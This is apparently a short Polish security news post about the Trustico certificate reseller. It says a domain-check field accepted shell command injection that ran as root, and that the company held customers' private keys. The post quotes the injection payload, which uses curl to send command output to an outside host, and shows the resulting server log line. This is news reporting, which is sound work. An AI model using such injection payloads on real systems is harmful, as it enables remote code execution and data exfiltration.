Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
23 000 certyfikatów SSL do wyrzutki. Mieli serwis odpalony na roocie + banalne wstrzyknięcie
Chodzi o Trustico, który dostarczał certyfikaty SSL m.in. „pechowemu” Equifax. Jak wyglądał exploit dający roota? Banalnie – w miejscu gdzie sprawdzaliśmy domenę wystarczyło wpisać: $(curl https://domain/`id`)
Efekt? Porażający, bo poza wykonaniem kodu, widać że wykonuje się on jako root:
35.190.140.214 – [01/Mar/2018:09:52:14 -0500] „GET /uid=0(root) HTTP/1.1” 404 209 „-” „curl/7.29.0”
Nasi czytelnicy raczej się nie nabiorą nigdy na hasło Trustico (i podobnych firm) „Buy SSL Certificates & Secure Your Website”, bo jak widać zakup certyfikatu SSL nie czyni automatycznie serwisu „bezpiecznym” :P
Na domiar złego Trustico przyznało się też do posiadania wszystkich kluczy prywatnych do wygenerowanych przez siebie certyfikatów, co jest kolejną rzeczą, która absolutnie nie powinna mieć miejsca…
–ms
Kwestia do sprostowania – mieli klucze tylko do certyfikatów, które ktoś u nich generował na stronie. Jak dostarczyłeś własny CSR to nie było oczywiście problemu. Zreszta nie wiem kto mógł pomysleć, ze to dobry pomysł w ogóle ;)
Dziękuję i życzę smacznego dnia !